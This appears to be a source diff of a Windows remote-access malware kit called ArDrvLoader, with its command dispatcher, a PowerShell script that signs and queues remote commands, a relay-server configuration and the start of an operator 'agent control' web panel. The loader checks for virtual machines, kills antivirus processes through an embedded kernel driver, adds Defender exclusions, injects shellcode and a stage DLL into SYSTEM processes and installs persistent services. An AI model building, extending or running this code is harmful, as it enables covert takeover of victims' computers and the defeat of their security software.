if (_wcsicmp(argv[1], L"-install-guard-services") == 0 ||
|
||||||
|
_wcsicmp(argv[1], L"--install-guard-services") == 0 ||
|
||||||
|
_wcsicmp(argv[1], L"-bootstrap") == 0 ||
|
||||||
|
_wcsicmp(argv[1], L"--bootstrap") == 0)
|
||||||
|
{
|
||||||
|
return !dryRun;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[1], L"-killav") == 0 || _wcsicmp(argv[1], L"--killav") == 0)
|
||||||
|
return !dryRun;
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[1], L"-drv") == 0 && argc >= 3)
|
||||||
|
{
|
||||||
|
return _wcsicmp(argv[2], L"extract") == 0 ||
|
||||||
|
_wcsicmp(argv[2], L"reset") == 0 ||
|
||||||
|
_wcsicmp(argv[2], L"kill") == 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[1], L"-excl") == 0 && argc >= 3)
|
||||||
|
{
|
||||||
|
return _wcsicmp(argv[2], L"add") == 0 || _wcsicmp(argv[2], L"apply") == 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
int wmain(int argc, LPWSTR* argv)
|
||||||
|
{
|
||||||
|
// Elevation first: a double-click must always show the UAC prompt, even on a
|
||||||
|
// host the VM gate would later refuse.
|
||||||
|
if (NeedsElevation(argc, argv) &&
|
||||||
|
!IsProcessElevated() &&
|
||||||
|
!HasCommandArg(argc, argv, L"--elevated"))
|
||||||
|
{
|
||||||
|
// One UAC, first run. After this the services hold the privileges.
|
||||||
|
if (!RelaunchElevated(argc, argv))
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int vm = VmGate(argc, argv);
|
||||||
|
|
||||||
|
if (vm >= 0)
|
||||||
|
return vm;
|
||||||
|
|
||||||
|
if (argc >= 2 && _wcsicmp(argv[1], L"-enroll") == 0)
|
||||||
|
return RunEnroll(argc, argv);
|
||||||
|
|
||||||
|
if (argc >= 2 && _wcsicmp(argv[1], L"-excl") == 0)
|
||||||
|
{
|
||||||
|
if (argc < 3)
|
||||||
|
{
|
||||||
|
wprintf(L"Usage: ArDrvLoader.exe -excl list|add <path>|apply\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[2], L"list") == 0)
|
||||||
|
{
|
||||||
|
std::wstring note;
|
||||||
|
std::vector<std::wstring> current = QueryExclusions(note);
|
||||||
|
|
||||||
|
wprintf(L"defender=%s current=%s\n", DefenderPresent() ? L"present" : L"absent", note.c_str());
|
||||||
|
wprintf(L"%s\n", FormatExclusionList(current).c_str());
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[2], L"add") == 0 && argc >= 4)
|
||||||
|
{
|
||||||
|
std::vector<std::wstring> paths = LoadExclusionList();
|
||||||
|
paths.push_back(argv[3]);
|
||||||
|
|
||||||
|
bool saved = SaveExclusionList(paths);
|
||||||
|
|
||||||
|
std::wstring report;
|
||||||
|
bool applied = ApplyExclusions(paths, report);
|
||||||
|
|
||||||
|
wprintf(L"%s%s\n%s\n",
|
||||||
|
saved ? L"saved" : L"save-failed",
|
||||||
|
applied ? L" applied" : L" refused",
|
||||||
|
report.c_str());
|
||||||
|
|
||||||
|
return applied ? 0 : 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[2], L"apply") == 0)
|
||||||
|
{
|
||||||
|
std::vector<std::wstring> paths = LoadExclusionList();
|
||||||
|
|
||||||
|
if (paths.empty())
|
||||||
|
{
|
||||||
|
paths = DefaultExclusionPaths();
|
||||||
|
SaveExclusionList(paths);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring report;
|
||||||
|
bool applied = ApplyExclusions(paths, report);
|
||||||
|
|
||||||
|
wprintf(L"%s\n%s\n", applied ? L"applied" : L"refused", report.c_str());
|
||||||
|
return applied ? 0 : 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
wprintf(L"Usage: ArDrvLoader.exe -excl list|add <path>|apply\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (argc >= 2 && _wcsicmp(argv[1], L"-drv") == 0)
|
||||||
|
{
|
||||||
|
if (argc < 3)
|
||||||
|
{
|
||||||
|
wprintf(L"Usage: ArDrvLoader.exe -drv status|extract <path>|kill <pid>\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[2], L"status") == 0)
|
||||||
|
{
|
||||||
|
bool open = OpenDriver();
|
||||||
|
CloseDriver();
|
||||||
|
|
||||||
|
DWORD fails = 0;
|
||||||
|
DWORD failMax = 3;
|
||||||
|
std::wstring state = L"unset";
|
||||||
|
|
||||||
|
HKEY h = nullptr;
|
||||||
|
|
||||||
|
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, KEY_READ, &h) == ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
DWORD type = 0;
|
||||||
|
DWORD size = sizeof(fails);
|
||||||
|
DWORD v = 0;
|
||||||
|
|
||||||
|
if (RegQueryValueExW(h, L"DriverFailCount", nullptr, &type, (LPBYTE)&v, &size) == ERROR_SUCCESS && type == REG_DWORD)
|
||||||
|
fails = v;
|
||||||
|
|
||||||
|
size = sizeof(failMax);
|
||||||
|
v = 0;
|
||||||
|
|
||||||
|
if (RegQueryValueExW(h, L"DriverFailMax", nullptr, &type, (LPBYTE)&v, &size) == ERROR_SUCCESS && type == REG_DWORD)
|
||||||
|
failMax = v;
|
||||||
|
|
||||||
|
wchar_t buf[64]{};
|
||||||
|
size = sizeof(buf);
|
||||||
|
|
||||||
|
if (RegQueryValueExW(h, L"DriverState", nullptr, &type, (LPBYTE)buf, &size) == ERROR_SUCCESS && type == REG_SZ)
|
||||||
|
state = buf;
|
||||||
|
|
||||||
|
RegCloseKey(h);
|
||||||
|
}
|
||||||
|
|
||||||
|
wprintf(L"device=%s embedded=%lu bytes fail=%lu/%lu state=%s\n",
|
||||||
|
open ? L"ok" : L"unavailable",
|
||||||
|
EmbeddedDriverSize(),
|
||||||
|
fails,
|
||||||
|
failMax,
|
||||||
|
state.c_str());
|
||||||
|
|
||||||
|
return open ? 0 : 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[2], L"reset") == 0)
|
||||||
|
{
|
||||||
|
HKEY h = nullptr;
|
||||||
|
|
||||||
|
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\ArDrvLoader", 0, nullptr, 0, KEY_SET_VALUE, nullptr, &h, nullptr)
|
||||||
|
!= ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
wprintf(L"ERR registry write denied\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD zero = 0;
|
||||||
|
RegSetValueExW(h, L"DriverFailCount", 0, REG_DWORD, (const BYTE*)&zero, sizeof(zero));
|
||||||
|
|
||||||
|
const wchar_t* state = L"reset";
|
||||||
|
RegSetValueExW(h, L"DriverState", 0, REG_SZ, (const BYTE*)state,
|
||||||
|
(DWORD)((wcslen(state) + 1) * sizeof(wchar_t)));
|
||||||
|
|
||||||
|
RegCloseKey(h);
|
||||||
|
wprintf(L"OK counters cleared\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[2], L"extract") == 0 && argc >= 4)
|
||||||
|
{
|
||||||
|
bool ok = WriteEmbeddedDriverTo(argv[3]);
|
||||||
|
wprintf(L"%s %s\n", ok ? L"OK" : L"ERR", argv[3]);
|
||||||
|
return ok ? 0 : 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[2], L"kill") == 0 && argc >= 4)
|
||||||
|
{
|
||||||
|
DWORD pid = (DWORD)wcstoul(argv[3], nullptr, 10);
|
||||||
|
|
||||||
|
if (!OpenDriver())
|
||||||
|
{
|
||||||
|
wprintf(L"ERR driver device unavailable\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool ok = TerminateProcessViaDriver(pid);
|
||||||
|
CloseDriver();
|
||||||
|
|
||||||
|
wprintf(L"%s pid=%lu\n", ok ? L"OK" : L"ERR", pid);
|
||||||
|
return ok ? 0 : 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
wprintf(L"Usage: ArDrvLoader.exe -drv status|extract <path>|kill <pid>\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (argc >= 2 &&
|
||||||
|
(_wcsicmp(argv[1], L"-killav") == 0 || _wcsicmp(argv[1], L"--killav") == 0))
|
||||||
|
{
|
||||||
|
bool dryRun = false;
|
||||||
|
bool force = false;
|
||||||
|
std::vector<std::wstring> names;
|
||||||
|
|
||||||
|
for (int i = 2; i < argc; ++i)
|
||||||
|
{
|
||||||
|
if (_wcsicmp(argv[i], L"--dry-run") == 0)
|
||||||
|
dryRun = true;
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[i], L"--force") == 0)
|
||||||
|
force = true;
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[i], L"--name") == 0 && i + 1 < argc)
|
||||||
|
names.emplace_back(argv[++i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring summary;
|
||||||
|
|
||||||
|
if (names.empty())
|
||||||
|
{
|
||||||
|
if (!dryRun)
|
||||||
|
EnsureDriverLoaded();
|
||||||
|
|
||||||
|
KillAVProcessesEx(dryRun, summary);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
KillReport report;
|
||||||
|
KillProcessesSafe(names, dryRun, 16, report, force);
|
||||||
|
summary = report.Format();
|
||||||
|
}
|
||||||
|
|
||||||
|
wprintf(L"%s\n", summary.c_str());
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (argc >= 2 && _wcsicmp(argv[1], L"-stage") == 0)
|
||||||
|
{
|
||||||
|
if (argc < 3)
|
||||||
|
{
|
||||||
|
wprintf(L"Usage: ArDrvLoader.exe -stage status|inject|run|stop [args]\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[2], L"status") == 0)
|
||||||
|
{
|
||||||
|
wprintf(L"%s\n", FormatStageStatus().c_str());
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[2], L"inject") == 0)
|
||||||
|
{
|
||||||
|
std::wstring preferred;
|
||||||
|
std::wstring dll;
|
||||||
|
bool requireSystem = true;
|
||||||
|
|
||||||
|
for (int i = 3; i < argc; ++i)
|
||||||
|
{
|
||||||
|
if (_wcsicmp(argv[i], L"--any-host") == 0)
|
||||||
|
requireSystem = false;
|
||||||
|
else if (_wcsicmp(argv[i], L"--host") == 0 && i + 1 < argc)
|
||||||
|
preferred = argv[++i];
|
||||||
|
else if (argv[i][0] != L'-' && dll.empty())
|
||||||
|
dll = argv[i];
|
||||||
|
}
|
||||||
|
|
||||||
|
HostInjectResult r = StageInject(dll, preferred, requireSystem);
|
||||||
|
wprintf(L"%s\n", FormatInjectResult(r).c_str());
|
||||||
|
|
||||||
|
if (r.ok && StageAlive())
|
||||||
|
wprintf(L"stage: %s\n", FormatStageStatus().c_str());
|
||||||
|
|
||||||
|
return r.ok ? 0 : 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[2], L"whoami") == 0)
|
||||||
|
{
|
||||||
|
std::wstring response;
|
||||||
|
|
||||||
|
if (!StageSend(L"WHOAMI", response))
|
||||||
|
{
|
||||||
|
wprintf(L"ERR stage not reachable\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
wprintf(L"%s\n", response.c_str());
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[2], L"run") == 0)
|
||||||
|
{
|
||||||
|
if (argc < 4)
|
||||||
|
{
|
||||||
|
wprintf(L"Usage: ArDrvLoader.exe -stage run <command line>\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring cmd;
|
||||||
|
|
||||||
|
for (int i = 3; i < argc; ++i)
|
||||||
|
{
|
||||||
|
if (!cmd.empty())
|
||||||
|
cmd += L" ";
|
||||||
|
|
||||||
|
cmd += argv[i];
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring response;
|
||||||
|
|
||||||
|
if (!StageSend(L"RUN " + cmd, response))
|
||||||
|
{
|
||||||
|
wprintf(L"ERR stage not reachable\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
wprintf(L"%s\n", response.c_str());
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[2], L"stop") == 0)
|
||||||
|
{
|
||||||
|
std::wstring response;
|
||||||
|
|
||||||
|
if (!StageSend(L"STOP", response))
|
||||||
|
{
|
||||||
|
wprintf(L"ERR stage not reachable\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
wprintf(L"%s\n", response.c_str());
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
wprintf(L"Unknown -stage subcommand\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (argc >= 3 && _wcsicmp(argv[1], L"-host") == 0)
|
||||||
|
{
|
||||||
|
if (_wcsicmp(argv[2], L"track") == 0)
|
||||||
|
{
|
||||||
|
wprintf(L"%s\n", FormatHostTrack(LoadHostTrack()).c_str());
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[2], L"untrack") == 0)
|
||||||
|
{
|
||||||
|
wprintf(L"%s\n", ClearHostTrack() ? L"cleared" : L"nothing to clear");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[2], L"ensure") == 0 || _wcsicmp(argv[2], L"inject") == 0)
|
||||||
|
{
|
||||||
|
const bool ensureMode = (_wcsicmp(argv[2], L"ensure") == 0);
|
||||||
|
|
||||||
|
std::wstring path;
|
||||||
|
std::wstring preferred;
|
||||||
|
bool requireSystem = true;
|
||||||
|
bool expectHostValue = false;
|
||||||
|
|
||||||
|
for (int k = 3; k < argc; ++k)
|
||||||
|
{
|
||||||
|
if (expectHostValue)
|
||||||
|
{
|
||||||
|
preferred = argv[k];
|
||||||
|
expectHostValue = false;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[k], L"--any-host") == 0)
|
||||||
|
{
|
||||||
|
requireSystem = false;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[k], L"--host") == 0 && k + 1 < argc)
|
||||||
|
{
|
||||||
|
expectHostValue = true;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (argv[k][0] != L'-' && path.empty())
|
||||||
|
path = argv[k];
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ensureMode && path.empty())
|
||||||
|
{
|
||||||
|
wprintf(L"Usage: ArDrvLoader.exe -host inject <shellcode-path> [--host <image>] [--any-host]\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
HostInjectResult r = ensureMode
|
||||||
|
? EnsureHostInjected(requireSystem)
|
||||||
|
: InjectShellcodeIntoHost(path, preferred, requireSystem);
|
||||||
|
|
||||||
|
wprintf(L"%s\n", FormatInjectResult(r).c_str());
|
||||||
|
return r.ok ? 0 : 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[2], L"list") == 0)
|
||||||
|
{
|
||||||
|
bool any = false;
|
||||||
|
|
||||||
|
for (int i = 3; i < argc; ++i)
|
||||||
|
{
|
||||||
|
if (_wcsicmp(argv[i], L"--any") == 0)
|
||||||
|
any = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
wprintf(L"%s\n", FormatHostList(EnumerateHosts(!any)).c_str());
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[2], L"spawn") == 0 || _wcsicmp(argv[2], L"spawn-user") == 0)
|
||||||
|
{
|
||||||
|
if (argc < 4)
|
||||||
|
{
|
||||||
|
wprintf(L"Usage: ArDrvLoader.exe -host spawn [--host <image>] <exe> [args]\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
const bool userSession = (_wcsicmp(argv[2], L"spawn-user") == 0);
|
||||||
|
|
||||||
|
int i = 3;
|
||||||
|
std::wstring preferred;
|
||||||
|
bool requireSystem = true;
|
||||||
|
|
||||||
|
for (int k = 3; k < argc; ++k)
|
||||||
|
{
|
||||||
|
if (_wcsicmp(argv[k], L"--any-host") == 0)
|
||||||
|
requireSystem = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_wcsicmp(argv[i], L"--host") == 0 && i + 1 < argc)
|
||||||
|
{
|
||||||
|
preferred = argv[i + 1];
|
||||||
|
i += 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (i < argc && argv[i][0] == L'-')
|
||||||
|
++i;
|
||||||
|
|
||||||
|
if (i >= argc)
|
||||||
|
{
|
||||||
|
wprintf(L"Usage: ArDrvLoader.exe -host spawn [--host <image>] <exe> [args]\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring exe = argv[i++];
|
||||||
|
std::wstring args;
|
||||||
|
|
||||||
|
for (; i < argc; ++i)
|
||||||
|
{
|
||||||
|
if (!args.empty())
|
||||||
|
args += L" ";
|
||||||
|
|
||||||
|
args += argv[i];
|
||||||
|
}
|
||||||
|
|
||||||
|
std::wstring cmd = exe;
|
||||||
|
|
||||||
|
if (cmd.find(L' ') != std::wstring::npos && cmd.front() != L'"')
|
||||||
|
cmd = L"\"" + cmd + L"\"";
|
||||||
|
|
||||||
|
if (!args.empty())
|
||||||
|
{
|
||||||
|
cmd += L" ";
|
||||||
|
cmd += args;
|
||||||
|
}
|
||||||
|
|
||||||
|
SpawnResult r = SpawnThroughHost(cmd, preferred, userSession, requireSystem);
|
||||||
|
wprintf(L"%s\n", FormatSpawnResult(r).c_str());
|
||||||
|
return r.ok ? 0 : 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
wprintf(L"Usage: ArDrvLoader.exe -host list | spawn [--host <image>] <exe> [args] | spawn-user ...\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Double-click with no arguments: bootstrap using build-time defaults.
|
||||||
|
if (argc < 2)
|
||||||
|
return RunBootstrap(argc, argv);
|
||||||
|
|
||||||
|
if (argc >= 2 &&
|
||||||
|
(_wcsicmp(argv[1], L"-install-guard-services") == 0 ||
|
||||||
|
_wcsicmp(argv[1], L"--install-guard-services") == 0))
|
||||||
|
{
|
||||||
|
return InstallGuardServices(argc, argv);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (argc >= 2 &&
|
||||||
|
(_wcsicmp(argv[1], L"-bootstrap") == 0 ||
|
||||||
|
_wcsicmp(argv[1], L"--bootstrap") == 0))
|
||||||
|
{
|
||||||
|
return RunBootstrap(argc, argv);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (argc >= 3 &&
|
||||||
|
(_wcsicmp(argv[1], L"-service") == 0 || _wcsicmp(argv[1], L"--service") == 0))
|
||||||
|
{
|
||||||
|
return RunGuardService(argc, argv);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (argc >= 2 &&
|
||||||
|
(_wcsicmp(argv[1], L"-cloud-service") == 0 || _wcsicmp(argv[1], L"--cloud-service") == 0))
|
||||||
|
{
|
||||||
|
return RunCloudService(argc, argv);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (argc >= 2 &&
|
||||||
|
(_wcsicmp(argv[1], L"-cloud") == 0 || _wcsicmp(argv[1], L"--cloud") == 0))
|
||||||
|
{
|
||||||
|
return RunCloudAgent(argc, argv);
|
||||||
|
}
|
||||||
|
|
||||||
|
return RunLoader(argc, argv);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
// Embedded driver image (ardrv.sys) packed as an RCDATA resource.
|
||||||
|
// Only compiled in when ardrv.sys sits next to the project at build time.
|
||||||
|
#define IDR_ARDRV_SYS 101
|
||||||
|
|
||||||
|
// Embedded stage payload (ardrvstage.dll). Only compiled in when the DLL was
|
||||||
|
// built and copied next to the project first - see build.ps1.
|
||||||
|
#define IDR_STAGE_DLL 102
|
||||||
@@ -0,0 +1,67 @@
|
|||||||
|
param(
|
||||||
|
[Parameter(Mandatory = $true)]
|
||||||
|
[string]$Worker,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $true)]
|
||||||
|
[string]$Agent,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $true)]
|
||||||
|
[string]$Secret,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $true)]
|
||||||
|
[string]$Command
|
||||||
|
)
|
||||||
|
|
||||||
|
# Signs requests exactly like the agent does:
|
||||||
|
# hex(HMAC-SHA256(secret, agent \n ts \n METHOD \n path+query \n sha256hex(body)))
|
||||||
|
# No secret is ever placed in a URL.
|
||||||
|
|
||||||
|
$ErrorActionPreference = "Stop"
|
||||||
|
|
||||||
|
$base = $Worker.TrimEnd('/')
|
||||||
|
$bodyBytes = [System.Text.Encoding]::UTF8.GetBytes($Command)
|
||||||
|
|
||||||
|
function Get-Sha256Hex([byte[]]$Bytes)
|
||||||
|
{
|
||||||
|
$sha = [System.Security.Cryptography.SHA256]::Create()
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
$stream = New-Object System.IO.MemoryStream(, $Bytes)
|
||||||
|
return ([BitConverter]::ToString($sha.ComputeHash($stream)) -replace "-", "").ToLower()
|
||||||
|
}
|
||||||
|
finally { $sha.Dispose() }
|
||||||
|
}
|
||||||
|
|
||||||
|
function Get-HmacHex([string]$Key, [string]$Message)
|
||||||
|
{
|
||||||
|
$hmac = New-Object System.Security.Cryptography.HMACSHA256
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
$hmac.Key = [System.Text.Encoding]::UTF8.GetBytes($Key)
|
||||||
|
$hash = $hmac.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Message))
|
||||||
|
return ([BitConverter]::ToString($hash) -replace "-", "").ToLower()
|
||||||
|
}
|
||||||
|
finally { $hmac.Dispose() }
|
||||||
|
}
|
||||||
|
|
||||||
|
$ts = [string][DateTimeOffset]::UtcNow.ToUnixTimeSeconds()
|
||||||
|
$canonical = "$Agent`n$ts`nPOST`nenqueue`n$(Get-Sha256Hex $bodyBytes)"
|
||||||
|
$sign = Get-HmacHex $Secret $canonical
|
||||||
|
|
||||||
|
$headers = @{
|
||||||
|
"X-Agent-Id" = $Agent
|
||||||
|
"X-Agent-Ts" = $ts
|
||||||
|
"X-Agent-Sign" = $sign
|
||||||
|
}
|
||||||
|
|
||||||
|
$response = Invoke-WebRequest `
|
||||||
|
-Method Post `
|
||||||
|
-Uri "$base/enqueue" `
|
||||||
|
-Body $bodyBytes `
|
||||||
|
-ContentType "application/octet-stream" `
|
||||||
|
-Headers $headers `
|
||||||
|
-UseBasicParsing
|
||||||
|
|
||||||
|
$response.Content
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
# Relay server environment (node server/server.js).
|
||||||
|
# Copy to server/.env or set these in your process manager.
|
||||||
|
|
||||||
|
PORT=8790
|
||||||
|
DATA_DIR=./data
|
||||||
|
PANEL_PATH=../cloudflare/panel.html
|
||||||
|
|
||||||
|
# Master key. Agent keys are derived from it; it is never sent to agents.
|
||||||
|
AGENT_SECRET=testsecret
|
||||||
|
|
||||||
|
# Panel / operator API key.
|
||||||
|
OPERATOR_KEY=testop
|
||||||
|
|
||||||
|
# One-time enrollment token handed out by the operator.
|
||||||
|
ENROLL_SECRET=testenroll
|
||||||
|
|
||||||
|
# Accept the shared master key during migration. Off by default.
|
||||||
|
LEGACY_MASTER_AUTH=false
|
||||||
|
|
||||||
|
# When set, the Worker must send X-Proxy-Secret with every request.
|
||||||
|
PROXY_SECRET=proxys3cret
|
||||||
@@ -0,0 +1,924 @@
|
|||||||
|
<!doctype html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
|
<title>agent control</title>
|
||||||
|
<style>
|
||||||
|
:root {
|
||||||
|
--bg:#0a0d12; --panel:#10161f; --panel2:#141c27; --line:#1d2632; --line2:#25313f;
|
||||||
|
--fg:#dbe4ef; --dim:#75879c; --faint:#4b5b6d;
|
||||||
|
--ok:#3ddc97; --warn:#f2b544; --err:#ff6b6b; --accent:#5aa9ff; --accent2:#1d4f80;
|
||||||
|
--radius:10px;
|
||||||
|
}
|
||||||
|
* { box-sizing:border-box; }
|
||||||
|
html, body { height:100%; }
|
||||||
|
body {
|
||||||
|
margin:0; background:var(--bg); color:var(--fg);
|
||||||
|
font:13px/1.5 "Segoe UI Variable Text","Segoe UI",system-ui,sans-serif;
|
||||||
|
overflow:hidden;
|
||||||
|
}
|
||||||
|
code, pre, .mono { font-family:"Cascadia Mono",Consolas,"SF Mono",monospace; }
|
||||||
|
button { font:inherit; color:var(--fg); background:var(--panel2); border:1px solid var(--line2);
|
||||||
|
border-radius:8px; padding:6px 12px; cursor:pointer; transition:border-color .12s, background .12s; }
|
||||||
|
button:hover { border-color:var(--accent); background:#182436; }
|
||||||
|
button.primary { background:linear-gradient(180deg,#1d5f92,#174a71); border-color:#2b7fbe; font-weight:600; }
|
||||||
|
button.primary:hover { background:linear-gradient(180deg,#2470ab,#1a5581); }
|
||||||
|
button.ghost { background:transparent; border-color:transparent; color:var(--dim); }
|
||||||
|
button.ghost:hover { color:var(--fg); border-color:var(--line2); background:transparent; }
|
||||||
|
button:disabled { opacity:.45; cursor:default; }
|
||||||
|
input, textarea {
|
||||||
|
font:inherit; color:var(--fg); background:#0c1219; border:1px solid var(--line2);
|
||||||
|
border-radius:8px; padding:8px 10px; width:100%;
|
||||||
|
}
|
||||||
|
input:focus, textarea:focus { outline:none; border-color:var(--accent); box-shadow:0 0 0 3px rgba(90,169,255,.12); }
|
||||||
|
::placeholder { color:var(--faint); }
|
||||||
|
|
||||||
|
/* ---------- shell ---------- */
|
||||||
|
#app { display:grid; grid-template-rows:auto 1fr; height:100vh; }
|
||||||
|
header {
|
||||||
|
display:flex; align-items:center; gap:14px; padding:10px 18px;
|
||||||
|
background:var(--panel); border-bottom:1px solid var(--line);
|
||||||
|
}
|
||||||
|
.brand { font-weight:700; letter-spacing:.16em; font-size:12px; color:var(--dim); text-transform:uppercase; }
|
||||||
|
.brand b { color:var(--fg); }
|
||||||
|
.pill { display:inline-flex; align-items:center; gap:6px; padding:3px 10px; border-radius:999px;
|
||||||
|
border:1px solid var(--line2); background:#0d141d; color:var(--dim); font-size:11px; }
|
||||||
|
.pill .dot { width:7px; height:7px; border-radius:50%; background:var(--faint); }
|
||||||
|
.pill.live .dot { background:var(--ok); box-shadow:0 0 8px var(--ok); }
|
||||||
|
.pill.live { color:var(--ok); border-color:#1f4a38; }
|
||||||
|
.grow { flex:1; }
|
||||||
|
|
||||||
|
#main { display:grid; grid-template-columns:320px 1fr; min-height:0; }
|
||||||
|
|
||||||
|
/* ---------- sidebar ---------- */
|
||||||
|
#side { border-right:1px solid var(--line); display:flex; flex-direction:column; min-height:0; background:var(--panel); }
|
||||||
|
#sideHead { padding:12px; border-bottom:1px solid var(--line); display:flex; flex-direction:column; gap:8px; }
|
||||||
|
.search { position:relative; }
|
||||||
|
.search input { padding-left:30px; }
|
||||||
|
.search svg { position:absolute; left:9px; top:9px; width:14px; height:14px; stroke:var(--faint); }
|
||||||
|
#agentList { overflow:auto; flex:1; padding:8px; }
|
||||||
|
.agent {
|
||||||
|
display:grid; grid-template-columns:auto 1fr auto; gap:2px 10px; align-items:center;
|
||||||
|
padding:9px 10px; border:1px solid transparent; border-radius:var(--radius);
|
||||||
|
cursor:pointer; margin-bottom:4px;
|
||||||
|
}
|
||||||
|
.agent:hover { background:var(--panel2); }
|
||||||
|
.agent.sel { background:#132436; border-color:#274a6d; }
|
||||||
|
.agent.offline { opacity:.55; }
|
||||||
|
.agent .nm { font-weight:600; display:flex; align-items:center; gap:6px; min-width:0; }
|
||||||
|
.agent .nm span { overflow:hidden; text-overflow:ellipsis; white-space:nowrap; }
|
||||||
|
.agent .sub { grid-column:2 / span 2; color:var(--dim); font-size:11px;
|
||||||
|
overflow:hidden; text-overflow:ellipsis; white-space:nowrap; }
|
||||||
|
.dot { width:8px; height:8px; border-radius:50%; background:var(--faint); flex:0 0 auto; }
|
||||||
|
.dot.on { background:var(--ok); box-shadow:0 0 8px rgba(61,220,151,.6); }
|
||||||
|
#agentList .tag.revoked { color:var(--err); background:#2a1212; border-color:#5c2222; }
|
||||||
|
.tag { font-size:10px; letter-spacing:.06em; padding:1px 6px; border-radius:5px;
|
||||||
|
background:#3a2c10; color:var(--warn); border:1px solid #5a4418; text-transform:uppercase; }
|
||||||
|
.badge { font-size:10px; padding:1px 6px; border-radius:999px; background:#1b2836; color:var(--dim); }
|
||||||
|
|
||||||
|
/* ---------- content ---------- */
|
||||||
|
#content { display:flex; flex-direction:column; min-height:0; min-width:0; }
|
||||||
|
#agentHead { padding:14px 18px; border-bottom:1px solid var(--line); background:var(--panel); }
|
||||||
|
